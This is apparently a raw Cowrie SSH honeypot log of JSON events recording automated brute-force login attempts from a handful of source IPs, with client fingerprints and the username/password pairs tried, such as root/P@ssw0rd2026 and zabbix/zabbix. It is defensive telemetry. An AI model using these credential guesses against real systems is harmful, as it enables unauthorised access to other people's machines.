{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:31.102876Z","src_ip":"91.92.40.171","session":"b192e05448e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:32.275805Z","src_ip":"91.92.40.171","session":"b192e05448e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:33.041963Z","src_ip":"91.92.40.171","session":"02e83115cf57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37378,"dst_ip":"159.203.135.109","dst_port":22,"session":"becb02b6e1ec","protocol":"ssh","message":"New connection: 91.92.42.133:37378 (159.203.135.109:22) [session: becb02b6e1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:35.148767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:35.312833Z","src_ip":"91.92.42.133","session":"becb02b6e1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:35.318148Z","src_ip":"91.92.42.133","session":"becb02b6e1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:36.350606Z","src_ip":"91.92.42.133","session":"becb02b6e1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37132,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d355a34e21","protocol":"ssh","message":"New connection: 91.92.40.171:37132 (159.203.135.109:22) [session: c5d355a34e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:37.610043Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:37.745806Z","src_ip":"91.92.42.133","session":"becb02b6e1ec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:37.788720Z","src_ip":"91.92.40.171","session":"c5d355a34e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:39.010357Z","src_ip":"91.92.40.171","session":"c5d355a34e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:42.734030Z","src_ip":"91.92.40.171","session":"c5d355a34e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37446,"dst_ip":"159.203.135.109","dst_port":22,"session":"47328ddd602d","protocol":"ssh","message":"New connection: 91.92.42.133:37446 (159.203.135.109:22) [session: 47328ddd602d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:42.898607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:42.907752Z","src_ip":"91.92.42.133","session":"47328ddd602d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.080377Z","src_ip":"91.92.42.133","session":"47328ddd602d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41760,"dst_ip":"159.203.135.109","dst_port":22,"session":"45ee7c391538","protocol":"ssh","message":"New connection: 80.66.85.226:41760 (159.203.135.109:22) [session: 45ee7c391538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.160668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.164479Z","src_ip":"80.66.85.226","session":"45ee7c391538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.252968Z","src_ip":"80.66.85.226","session":"45ee7c391538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.493580Z","src_ip":"91.92.42.133","session":"47328ddd602d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:43.524691Z","src_ip":"80.66.85.226","session":"45ee7c391538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9336e5a70096","protocol":"ssh","message":"New connection: 91.92.40.171:37198 (159.203.135.109:22) [session: 9336e5a70096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:44.052556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:44.082287Z","src_ip":"91.92.40.171","session":"9336e5a70096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:44.615533Z","src_ip":"80.66.85.226","session":"45ee7c391538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:44.747884Z","src_ip":"91.92.42.133","session":"47328ddd602d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:44.871842Z","src_ip":"91.92.40.171","session":"c5d355a34e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:45.217711Z","src_ip":"91.92.40.171","session":"9336e5a70096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.33.4","src_port":59893,"dst_ip":"10.17.0.5","dst_port":22,"session":"760aec61b5b4","protocol":"ssh","message":"New connection: 81.177.33.4:59893 (10.17.0.5:22) [session: 760aec61b5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:45.554262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:45.564320Z","src_ip":"81.177.33.4","session":"760aec61b5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:45.712825Z","src_ip":"81.177.33.4","session":"760aec61b5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230sli89","message":"login attempt [root/230sli89] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:46.157636Z","src_ip":"81.177.33.4","session":"760aec61b5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:47.308652Z","src_ip":"81.177.33.4","session":"760aec61b5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36624,"dst_ip":"159.203.135.109","dst_port":22,"session":"a050a896ee2d","protocol":"ssh","message":"New connection: 91.92.40.171:36624 (159.203.135.109:22) [session: a050a896ee2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:47.784614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:47.868742Z","src_ip":"91.92.40.171","session":"a050a896ee2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:48.132035Z","src_ip":"91.92.40.171","session":"a050a896ee2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:48.610281Z","src_ip":"91.92.40.171","session":"a050a896ee2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:49.594594Z","src_ip":"91.92.40.171","session":"9336e5a70096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:49.714366Z","src_ip":"91.92.40.171","session":"a050a896ee2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56088,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eea3cfeeb2c","protocol":"ssh","message":"New connection: 91.92.42.133:56088 (159.203.135.109:22) [session: 0eea3cfeeb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:50.588781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:50.686455Z","src_ip":"91.92.42.133","session":"0eea3cfeeb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:50.689879Z","src_ip":"91.92.42.133","session":"0eea3cfeeb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:51.780512Z","src_ip":"91.92.40.171","session":"9336e5a70096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:52.010321Z","src_ip":"91.92.42.133","session":"0eea3cfeeb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:53.101789Z","src_ip":"91.92.42.133","session":"0eea3cfeeb2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36664,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc4fb069d1f3","protocol":"ssh","message":"New connection: 91.92.40.171:36664 (159.203.135.109:22) [session: cc4fb069d1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:53.597833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:53.655416Z","src_ip":"91.92.40.171","session":"cc4fb069d1f3","protocol":"ssh"}
